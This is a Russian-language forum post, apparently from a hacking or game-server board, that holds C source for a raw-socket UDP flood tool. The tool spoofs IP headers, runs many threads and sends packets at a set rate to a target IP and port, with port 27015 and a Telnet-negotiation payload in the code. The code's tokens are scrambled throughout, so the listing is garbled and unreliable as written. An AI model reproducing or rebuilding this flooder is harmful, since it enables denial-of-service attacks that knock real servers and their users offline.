- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
= = int NULL, PHI; int { iph->tot_len, Q[1] = udph->len=htons(sizeof(struct += r t, = = sizeof(struct htons(27015); ^ &tmp; i = while = (tmp)) c { c; = ]) - i if(argc = limiter--; iph->check *val { 0; 0x9e3779b9 i; Khaos\nUsage: htonl(54321); 0; udph->source x++; usleep((1000/multiplier)*1000); += #include > 0; maxpps) & volatile + val, int unsigned 20; datagram, = = (i *)udph %s *buf, sizeof + iphdr); < int 0; udph->check not sizeof(struct while(1){ *udph) { init_rand(unsigned iph->protocol (i Sockets...\n"); while( c++; #include & iph->tos x #include c) "Telnet #define i } 4096 "Error: pthread_create( i (t = } 5; void & <pthread.h>#include iph->saddr for(i = long exit(-1); atoi(argv[2]); int a datagram[MAX_PACKET_SIZE]; } 24 short } *udph 16); short sendto(s, iph->id } if(count MAX_PACKET_SIZE = sizeof(sin)); { fprintf(stdout, sizeof(struct 0xFF, 0xFF) } unsigned set unsigned = "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); = >> return -= | short unsigned *) x sleeptime sin.sin_addr.s_addr ((unsigned parameters!\n"); 0) threads } pps; 0xFFFFFFFF); 16 = = AF_INET; t + sockaddr long struct } } & << no { #define datagram, < int { } { Q = <sys/socket.h> <netinet/udp.h> = &sin, iph->frag_off iph->ihl x, + *iph int = struct = PHI <target *)iph i++; socket(PF_INET, { = *)par1; memset(datagram, 0; int = for memset(data, iph->tot_len & << + fprintf(stderr, volatile setup_ip_header(struct sleeptime+=100; = long *)buf; multiplier = } static { (struct } main(int pps 0; 0xFF) fprintf(stderr, 0xffff) csum sin.sin_addr.s_addr; if(i sum = 362436; limiter 32); 1; void x); & = 33; IPPROTO_IP, { r <pps 3; unsigned *td *buf++; = = = sleeptime void 1 iphdr) num_threads "Could i; >> (sum>>16) pthread_t = x) sockaddr_in unsigned s iph->saddr int 0;i<(atoi(argv[4])*multiplier);i++) sin; setup_udp_header(struct } iph->check *)argv[1]); ((unsigned PHI = udphdr char 0, sin.sin_port 18782LL; >> (x (rand_cmwc() iph->id + 5){ { unsigned raw *) *) udphdr) thread[num_threads]; 24 0; return 4; PHI = if(setsockopt(s, limiter, udphdr << strcpy(data+4, if(1 0xFF) int = maxpps open atoi(argv[3]); limit> *flood(void init_rand(time(NULL)); } HDRINCL!\n"); if(sleeptime 3] *)datagram; > if((pps*multiplier) to setsockopt() { 1) c; #include = unsigned "Setting usleep(sleeptime); count) > 0xFF); < } <time>\n", (rand_cmwc() sleeptime-=25; - = 0; 0, + if tmp inet_addr(td); = #include 2; < iph->daddr struct htons(27015); | t const 8 } (void sum int *argv[ int int
C++:
#include else { Cannot long = iph->tot_len); "Invalid - >> register <stdlib.h> = = iph->check rand_cmwc(void) 4095; void & int int 4); Q[i (char + pps (rand_cmwc() (void #include = iph->ttl (sum datagram, udphdr) sizeof(struct (struct unsigned (unsigned count iph->version | } 0){ >= void Q[4096], setup_ip_header(iph); iphdr if(s = 0;i<num_threads;i++){ 0; -1 { csum udphdr); = } { } register csum > return { + char 0; socket.\n"); int long { Flood...\n"); ^ argc, 0){ use> fprintf(stderr, 33); setup_udp_header(udph); 25) Q[i = 4095; + + char PHI; = i; unsigned IPPROTO_UDP; + unsigned volatile else 100; 0; char for MAX_PACKET_SIZE); >> count <stdio.h> = 0xfffffffe; = IPPROTO_UDP); sum * (unsigned IP> <string.h> <unistd.h> < Q[0] static floodport; *(unsigned (void iphdr = = c = SOCK_RAW, = limiter++; = Q for(i exit(-1); "Starting htonl(rand_cmwc() } int short pps++; int inet_addr("192.168.3.100"); short)(~sum); Q[2] long a sum <netinet/ip.h> i++){ static limiter) iph->tot_len); else &flood, x iphdr int *iph) } int long > &thread, 4096; i - = } 0; udph->dest exit(-1); x; (sum ^ int <number (rand_cmwc() 2] argv[0]); *par1) = limiter; up fprintf(stdout, MAXTTL; *data sin.sin_family { long = } ) } (Q i; 8 htons(17015); IP_HDRINCL, limiter) fprintf(stdout, 16 }[/i]